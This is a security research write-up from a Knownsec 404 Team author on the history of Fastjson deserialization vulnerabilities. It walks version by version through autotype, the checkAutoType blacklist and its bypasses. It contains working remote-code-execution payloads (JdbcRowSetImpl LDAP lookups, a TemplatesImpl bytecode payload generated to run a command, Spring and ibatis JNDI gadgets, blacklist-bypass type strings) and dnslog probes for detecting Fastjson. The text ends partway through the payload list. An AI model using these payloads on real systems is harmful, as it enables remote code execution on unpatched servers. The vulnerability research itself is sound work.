Fastjson Deserialization Vulnerability History
Author:Longofo@Knownsec 404 Team
Time: April 27, 2020
Chinese version:https://paper.seebug.org/1192/
Fastjson doesn't have a cve number, so it's difficult to find the timeline. At first,I wrote something slowly. Fortunately, fastjson is open source and there are hard work records of other security researchers. This article will give the key updates and vulnerability timelines related to Fastjson and the vulnerabilities,I will test and explain some of the more classic vulnerabilities, and give some check payloads and rce payloads.
Fastjson Parsing Process
You can refer to fastjson process analysis written by @Lucifaer. I will not write it here, and it will occupy a lot of space. In this article said that fastjson has byte code generated using ASM. Since many classes are not native in actual use, fastjson serializes/deserializes most classes will be processed by ASM. You can use idea to save byte files during dynamic debugging:
The inserted code is:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
BufferedOutputStream bos = null; FileOutputStream fos = null; File file = null; String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/"; try { File dir = new File(filePath); if (!dir.exists()) { dir.mkdirs(); } file = new File(filePath + className + ".class"); fos = new FileOutputStream(file); bos = new BufferedOutputStream(fos); bos.write(code); } catch (Exception e) { e.printStackTrace(); } finally { if (bos != null) { try { bos.close(); } catch (IOException e) { e.printStackTrace(); } } if (fos != null) { try { fos.close(); } catch (IOException e) { e.printStackTrace(); } } } |
Generated class:
But this class cannot be used for debugging, because the code generated by ASM in fastjson does not have linenumber, trace and other information.However, it should be feasible to generate bytecode by rewriting part of the code in the Expression window.(I have not tested it. If you have enough time or interest, you can see how ASM generates bytecode that can be used for debugging).
Fastjson Demo Test
First test the following example with multiple versions:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
//User.java package com.longofo.test; public class User { private String name; //Private properties, with getter and setter methods private int age; //Private properties, with getter and setter methods private boolean flag; //Private properties, with is and setter methods public String sex; //Public properties, no getter, setter methods private String address; //Private properties, no getter, setter methods public User() { System.out.println("call User default Constructor"); } public String getName() { System.out.println("call User getName"); return name; } public void setName(String name) { System.out.println("call User setName"); this.name = name; } public int getAge() { System.out.println("call User getAge"); return age; } public void setAge(int age) { System.out.println("call User setAge"); this.age = age; } public boolean isFlag() { System.out.println("call User isFlag"); return flag; } public void setFlag(boolean flag) { System.out.println("call User setFlag"); this.flag = flag; } @Override public String toString() { return "User{" + "name='" + name + '\'' + ", age=" + age + ", flag=" + flag + ", sex='" + sex + '\'' + ", address='" + address + '\'' + '}'; } } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
package com.longofo.test; import com.alibaba.fastjson.JSON; public class Test1 { public static void main(String[] args) { //Serialization String serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";// System.out.println("serializedStr=" + serializedStr); System.out.println("-----------------------------------------------\n\n"); //Deserialize through the parse method and return a JSONObject System.out.println("JSON.parse(serializedStr):"); Object obj1 = JSON.parse(serializedStr); System.out.println("parse deserialize object name:" + obj1.getClass().getName()); System.out.println("parse deserialization:" + obj1); System.out.println("-----------------------------------------------\n"); //Through parseObject, no class is specified, a JSONObject is returned System.out.println("JSON.parseObject(serializedStr):"); Object obj2 = JSON.parseObject(serializedStr); System.out.println("parseObject deserialize object name:" + obj2.getClass().getName()); System.out.println("parseObject deserialization:" + obj2); System.out.println("-----------------------------------------------\n"); //Through parseObject, specified as object.class System.out.println("JSON.parseObject(serializedStr, Object.class):"); Object obj3 = JSON.parseObject(serializedStr, Object.class); System.out.println("parseObject deserialize object name:" + obj3.getClass().getName()); System.out.println("parseObject deserialization:" + obj3); System.out.println("-----------------------------------------------\n"); //Through parseObject, specified as User.class System.out.println("JSON.parseObject(serializedStr, User.class):"); Object obj4 = JSON.parseObject(serializedStr, User.class); System.out.println("parseObject deserialize object name:" + obj4.getClass().getName()); System.out.println("parseObject deserialization:" + obj4); System.out.println("-----------------------------------------------\n"); } } |
Tips:
- @Type here corresponds to the commonly autotype function , simply understood that fastjson will automatically map the value of
key: value
of json to the class corresponding to @type. - Several methods of the sample User class are relatively common methods, the naming and return values are all conventionally written in accordance with the requirements of the bean, so some special calls in the following sample test will not be covered, but in the vulnerability analysis , We can see some special cases.
- Parse uses four types of writing, all of which can cause harm (however, whether it can actually be used depends on the version and whether the user has turned on certain configuration switches, see later).
- The sample tests all use jdk8u102, and the code is the source code test. It mainly uses samples to explain the process of autotype default opening, the appearance of checkautotype, and the version of the black list and white list from which it appears and enhancement methods.
1.1.157 Test
This should be the original version (the earliest tag is this), the result:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"} ----------------------------------------------- JSON.parse(serializedStr): call User default Constructor call User setName call User setAge call User setFlag parse deserialize object name:com.longofo.test.User parse deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'} ----------------------------------------------- JSON.parseObject(serializedStr): call User default Constructor call User setName call User setAge call User setFlag call User getAge call User isFlag call User getName parseObject deserialize object name:com.alibaba.fastjson.JSONObject parseObject deserialization:{"flag":true,"sex":"boy","name":"lala","age":11} ----------------------------------------------- JSON.parseObject(serializedStr, Object.class): call User default Constructor call User setName call User setAge call User setFlag parseObject deserialize object name:com.longofo.test.User parseObject deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'} ----------------------------------------------- JSON.parseObject(serializedStr, User.class): call User default Constructor call User setName call User setAge call User setFlag parseObject deserialize object name:com.longofo.test.User parseObject deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'} ----------------------------------------------- |
Below is a brief explanation of each result.
JSON.parse(serializedStr)
1 2 3 4 5 6 7 |
JSON.parse(serializedStr): call User default Constructor call User setName call User setAge call User setFlag parse deserialize object name:com.longofo.test.User parse deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'} |
When @type is specified, the default constructor of the User class is automatically called. The setter method(setAge, setName) corresponding to the User class is the final result. It is an instance of the User class, but it is worth noting that the public sex is successfully assigned,while private address is not successfully assigned, but after 1.2.22, 1.1.54.android, a SupportNonPublicField feature is added. If this feature used, private address can be successfully assigned even without setter, getter, this feature is also related to a later vulnerability. Pay attention to the order of the default constructor and setter method. The default constructor comes first. At this time, the property value has not been assigned, so even though there are dangerous methods in the default constructor, the harmful value has not been passed in.The default constructor is logical and will not be a method of exploit, but for the inner class, the outer class first initializes some of its own attribute values, but the inner class default constructor uses some values of the attributes of the parent class, which may still cause harm.
It can be seen that the autotype function has been available since the original version, and autotype is enabled by default. At the same time, there is no blacklist in the ParserConfig class.
JSON.parseObject(serializedStr)
1 2 3 4 5 6 7 8 9 10 |
JSON.parseObject(serializedStr): call User default Constructor call User setName call User setAge call User setFlag call User getAge call User isFlag call User getName parseObject deserialize object name:com.alibaba.fastjson.JSONObject parseObject deserializationflag":true,"sex":"boy","name":"lala","age":11} |
When @type is specified, the default constructor of the User class is automatically called, the setter method (setAge, setName) corresponding to the User class and the corresponding getter method (getAge, getName), and the final result is a string. There are more getter methods (note that the bool type starts with is), because parseObject calls JSON.toJSON (obj)
when there are no other parameters, and the obj property value will be obtained through the gettter method later:
JSON.parseObject(serializedStr, Object.class)
1 2 3 4 5 6 7 |
JSON.parseObject(serializedStr, Object.class): call User default Constructor call User setName call User setAge call User setFlag parseObject deserialize object name:com.longofo.test.User parseObject deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'} |
When @type is specified, there is no difference between this type of writing and the first type of JSON.parse(serializedStr)
.
JSON.parseObject(serializedStr, User.class)
1 2 3 4 5 6 7 |
JSON.parseObject(serializedStr, User.class): call User default Constructor call User setName call User setAge call User setFlag parseObject deserialize object name:com.longofo.test.User parseObject deserialization:User{name='lala', age=11, flag=true, sex='boy', address='null'} |
When @type is specified, the default constructor of the User class is automatically called, the setter method (setAge, setName) corresponding to the User class, and the final result is an instance of the User class. This way of writing clearly specifies that the target object must be of type User. If the type corresponding to @type is not User or its subclass, a mismatch exception will be thrown. However, even if a specific type is specified, there is still a way before the type matches To trigger the vulnerability.
1.2.10 Test
For the above User class, the test result is the same as 1.1.157, so I won't write it here.
In this version, autotype is still enabled by default. However, from this version, fastjson added denyList in ParserConfig, until version 1.2.24, this denyList has only one class (however, this java.lang.Thread is not used for exploits):
1.2.25 Test
The test result is that an exception is thrown:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true} ----------------------------------------------- JSON.parse(serializedStr): Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.User at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128) at com.longofo.test.Test1.main(Test1.java:14) |
Starting from 1.2.25, autotype is turned off by default. For autotype to be turned on, later vulnerability analysis will be involved. And from 1.2.25, the checkAutoType function is added. Its main function is to detect whether the class specified by @type is in the white list or black list (using the startswith method)
And whether the target class is a subclass or subinterface of two dangerous classes (Classloader, DataSource), where the whitelist has the highest priority, and the whitelist does not detect blacklists and dangerous classes if allowed, otherwise it continues to detect blacklists and dangerous classes:
The number of blacklist classes and packages has been increased, and the whitelist has also been added. Users can also call related methods to add blacklist/whitelist to the list:
Many of the latter vulnerabilities are due to the repair of checkautotype and some of its own logical defects, as well as the increasing blacklist.
1.2.42 Test
As with 1.2.25, autotype is not enabled by default, so the result is the same, directly throwing the exception that autotype is not enabled.
From this version, the denyList and acceptList have been replaced with decimal hashcode, which makes the security research more difficult (however, the calculation method of hashcode is still public. If you have a large number of jar packages, such as maven warehouse, you can crawl the jar package, run the class name and package name in batches.But if the blacklist is the package name, it will take some time to find the specific available class):
The detection in checkAutotype has also been modified accordingly:
1.2.61 Test
As the 1.2.25, autotype is not enabled by default, so the result is same, directly throwing the exception that autotype is not enabled.
From 1.2.25 to 1.2.61, a lot of bypasses and blacklists have actually been added, but this part of the vulnerability version line is written specifically. The 1.2.61 version is written here mainly to illustrate the blacklist defens means. In version 1.2.61, fastjson changed the hashcode from decimal to hexadecimal:
However, the hexadecimal representation is the same as the decimal representation, and jar packages can also be run in batches. In version 1.2.62, hex capital was added for uniformity:
The later version is the increase of blacklist.
Fastjson vulnerability version line
The following vulnerabilities will not be analyzed too much. Too many will only briefly explain and give the payload to test and explain the repair method.
ver<=1.2.24
As you can see from the above test, there are no defense in 1.2.24 and before, autotype is enabled by default. Below a few classic payloads.
com.sun.rowset.JdbcRowSetImpl
payload:
1 2 3 4 5 6 7 |
{ "rand1": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true } } |
Test(jdk=8u102,fastjson=1.2.24):
1 2 3 4 5 6 7 8 9 10 11 12 13 |
package com.longofo.test; import com.alibaba.fastjson.JSON; public class Test2 { public static void main(String[] args) { String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}"; // JSON.parse(payload); success //JSON.parseObject(payload); success //JSON.parseObject(payload,Object.class); success //JSON.parseObject(payload, User.class); success,Without using @type directly in the outer layer, a layer of rand: {} is added, and it can be successfully triggered before the type match. This is seen in an xray article https://zhuanlan.zhihu.com/p/99075925,So all subsequent payloads use this mode } } |
result:
Brief analysis of triggering reasons:
JdbcRowSetImpl object recovery-> setDataSourceName method call-> setAutocommit method call-> context.lookup (datasourceName) call
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
payload:
1 2 3 4 5 6 7 8 9 10 11 |
{ "rand1": { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": [ "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ" ], "_name": "aaa", "_tfactory": {}, "_outputProperties": {} } } |
Test(jdk=8u102,fastjson=1.2.24):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
package com.longofo.test; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.codec.binary.Base64; public class Test3 { public static void main(String[] args) throws Exception { String evilCode_base64 = readClass(); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String payload = "{'rand1':{" + "\"@type\":\"" + NASTY_CLASS + "\"," + "\"_bytecodes\":[\"" + evilCode_base64 + "\"]," + "'_name':'aaa'," + "'_tfactory':{}," + "'_outputProperties':{}" + "}}\n"; System.out.println(payload); //JSON.parse(payload, Feature.SupportNonPublicField); 成功 //JSON.parseObject(payload, Feature.SupportNonPublicField); 成功 //JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功 //JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功 } public static class AaAa { } public static String readClass() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(AaAa.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "AaAa" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); byte[] evilCode = cc.toBytecode(); return Base64.encodeBase64String(evilCode); } } |
result:
Brief analysis of triggering reasons:
TemplatesImpl object recovery-> JavaBeanDeserializer.deserialze-> FieldDeserializer.setValue-> TemplatesImpl.getOutputProperties-> TemplatesImpl.newTransformer-> TemplatesImpl.getTransletInstance-> Through defineTransletClasses, newInstance triggers the static code block of our own constructed class
Brief description:
This vulnerability needs to enable the SupportNonPublicField feature, which was also mentioned in the sample test. There is no corresponding setter for _bytecodes
,_tfactory
, _name
,_outputProperties
and _class
in the TemplatesImpl class, so to assign values to these private properties, you need to enable the SupportNonPublicField feature. The specific construction process of the poc will not be analyzed here, you can see Master Liao's this, involving some details.
ver>=1.2.25&ver<=1.2.41
Before 1.2.24, there are no autotype restriction. Starting from 1.2.25, autotype support was turned off by default, and checkAutotype was added. A blacklist and whitelist was added to prevent autotype from being turned on. Between 1.2.25 and 1.2.41, a checkAutotype bypass occurred.
The following is checkAutoType code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 |
public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null) { return null; } final String className = typeName.replace('$', '.'); // Position 1, if open autoTypeSupport, whitelist first, then blacklist if (autoTypeSupport || expectClass != null) { for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } } // Position 2, get clazz from the existing map Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null) { clazz = deserializers.findClass(typeName); } if (clazz != null) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } // Position 3, autoTypeSupport is not enabled, black and white list will still be detected, blacklist first, then whitelist if (!autoTypeSupport) { for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } // Position 4, after the black and white list, autoTypeSupport is turned on, and the target class is loaded if (autoTypeSupport || expectClass != null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); } if (clazz != null) { // ClassLoader, DataSource subclass/subinterface detection if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver ) { throw new JSONException("autoType is not support. " + typeName); } if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } else { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } } } if (!autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); } return clazz; } |
Four position marks were made on it, because the following bypasses are also related to these positions. This time the bypass is through the previous 1, 2, 3 and successfully entered the location 4 to load the target class. Position 4 loadclass is as follows:
Removed the L
and ;
before and after className, in the form of Lcom.lang.Thread;
, this representation method is similar to the representation method of classes in the JVM, and fastjson handles this representation method. The previous blacklist detection was startedwith detection, so you can add L
and ;
to the class specified by @type to bypass the blacklist detection.
Use the above JdbcRowSetImpl:
1 2 3 4 5 6 7 |
{ "rand1": { "@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true } } |
Test(jdk8u102,fastjson 1.2.41):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
package com.longofo.test; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class Test4 { public static void main(String[] args) { String payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}"; ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //JSON.parse(payload); success //JSON.parseObject(payload); success //JSON.parseObject(payload,Object.class); success //JSON.parseObject(payload, User.class); success } } |
result:
ver=1.2.42
In 1.2.42, the checkAutotype bypass of 1.2.25 ~ 1.2.41 was fixed, the blacklist was changed to decimal, and the checkAutotype detection was changed accordingly:
The blacklist has been changed to decimal, and the detection has been hashed accordingly. However, it is consistent with the detection process in 1.2.25 above, except the tests with startswith
are replaced with hash operations
. The fix for bypassing checkAutotype of 1.2.25 ~ 1.2.41 is the red box, judging whether the className is L
and;
, if it is, then intercept the second character and the penultimate character . Therefore, the bypass of checkAutotype in version 1.2.42 is to double write LL
and;;
. After interception, the process is the same as that of versions 1.2.25 ~ 1.2.41.
Use the above JdbcRowSetImpl:
1 2 3 4 5 6 7 |
{ "rand1": { "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true } } |
Test(jdk8u102,fastjson 1.2.42):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
package com.longofo.test; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class Test5 { public static void main(String[] args) { String payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}"; ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //JSON.parse(payload); success //JSON.parseObject(payload); success //JSON.parseObject(payload,Object.class); success //JSON.parseObject(payload, User.class); success } } |
结果:
ver=1.2.43
1.2.43 For the bypass repair method of 1.2.42:
Under the first if condition (beginning with L
and ending with;
), a condition starting withLL
is added. If the first condition is met and starting with LL
, an exception is thrown directly. So this repair method cannot be bypassed. In addition to the special processing of L
and;
, [
is also treated specially, checkAutoType is bypassed again:
Use the above JdbcRowSetImpl:
1 |
{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}} |
Test(jdk8u102,fastjson 1.2.43):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
package com.longofo.test; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class Test6 { public static void main(String[] args) { String payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true]}}"; ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // JSON.parse(payload); success //JSON.parseObject(payload); success //JSON.parseObject(payload,Object.class); success JSON.parseObject(payload, User.class); } } |
result:
ver=1.2.44
The 1.2.44 version fixes 1.2.43 bypass and handles [
:
Deleted the previous judgment of the beginning of L
, the end of;
, and the beginning ofLL
, changed it to an exception of [
at the beginning or an exception at the end of ;
, So the previous bypasses were fixed.
ver>=1.2.45&ver<=1.2.46
During these two versions, a blacklist was added and no checkAutotype bypass occurred. Several payloads in the blacklist are given in the RCE Payload at the back, so I won't write them here.
ver=1.2.47
This version has been successfully bypassed without enabling autotype. Analyze this bypass: 1. The use of java.lang.class
, this class is not in the blacklist, so checkAutotype can be over. 2. The deserializer corresponding to this java.lang.class
class is MiscCodec. When deserialize, it will take the val
key value in the json string and load the class corresponding to this val. If fastjson cache is true, it will cache the class corresponding to this val to In the global map 3. If the class with val name is loaded again, autotype is not enabled (because it will detect the black and white list first, so this vulnerability autotype is turned on but not successful), the next step is try to obtain this class from the global map, if it is , return directly.
There have been many analysis of this vulnerability. For details, please refer to this article.
payload:
1 2 3 4 5 6 7 8 9 10 11 |
{ "rand1": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "rand2": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true } } |
Test(jdk8u102,fastjson 1.2.47):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
package com.longofo.test; import com.alibaba.fastjson.JSON; public class Test7 { public static void main(String[] args) { String payload = "{\n" + " \"rand1\": {\n" + " \"@type\": \"java.lang.Class\", \n" + " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" + " }, \n" + " \"rand2\": {\n" + " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" + " \"dataSourceName\": \"ldap://localhost:1389/Object\", \n" + " \"autoCommit\": true\n" + " }\n" + "}"; //JSON.parse(payload); success //JSON.parseObject(payload); success //JSON.parseObject(payload,Object.class); success JSON.parseObject(payload, User.class); } } |
result:
ver>=1.2.48&ver<1.2.68
Fixed the bypass of 1.2.47 in 1.2.48. In MiscCodec, where the loadClass is processed, the cache is set to false:
Between 1.2.48 and the latest version 1.2.68, there are added blacklist categories.
ver=1.2.68
1.2.68 is the latest version at present. Safemode was introduced in 1.2.68. When safemode is turned on, @type this specialkey is completely useless. Both whitelist and blacklist do not support autoType.
In this version, in addition to adding a blacklist, a blacklist is also subtracted:
I don't know if there is any other security personnel running out of this blacklist, whether it is a package name or a class name, and then it can be used for malicious exploitation. It is a bit strange anyway.
Detect Fastjson
The more commonly method of detecting Fastjson is to use the dnslog. After detecting it, use RCE Payload one by one. Colleagues said that it is possible to get the paylaod of the echo, but the target container/framework is different, and the echo method will be different. This is a bit difficult ..., let's use dnslog.
dnslog detect
At the present, fastjson detection is common to detect by dnslog mode, in which Inet4Address and Inet6Address are available until 1.2.67. Here are some payloads to be seen (combined with the rand: {} method above, which is more general):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}} {"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}} {"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}} {"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}} {"rand5":{"@type":"java.net.URL","val":"http://dnslog"}} Some malformed payloads, but can still trigger dnslog: {"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}} {"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}]} {"rand8":Set[{"@type":"java.net.URL","val":"http://dnslog"} {"rand9":{"@type":"java.net.URL","val":"http://dnslog"}:0 |
Some RCE Payload
I didn't collect the payload about fastjson before, and I didn't run the jar package .... The following lists are the payloads circulated on the network and some of them deducted from marshalsec and transformed into a payload suitable for fastjson. The jdk version for each payload will not be tested one by one, I don't know how much time it takes to test this. The actual use basically can't be know in this version, whether autotype is turned on or not, the user's configuration, and the user added the blacklist/white or not. so just pass the constructed payload one by one. The basic payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 |
payload1: { "rand1": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true } } payload2: { "rand1": { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": [ "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ" ], "_name": "aaa", "_tfactory": {}, "_outputProperties": {} } } payload3: { "rand1": { "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties": { "data_source": "ldap://localhost:1389/Object" } } } payload4: { "rand1": { "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean", "targetBeanName": "ldap://localhost:1389/Object", "propertyPath": "foo", "beanFactory": { "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory", "shareableResources": [ "ldap://localhost:1389/Object" ] } } } payload5: { "rand1": Set[ { "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor", "beanFactory": { "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory", "shareableResources": [ "ldap://localhost:1389/obj" ] }, "adviceBeanName": "ldap://localhost:1389/obj" }, { "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor" } 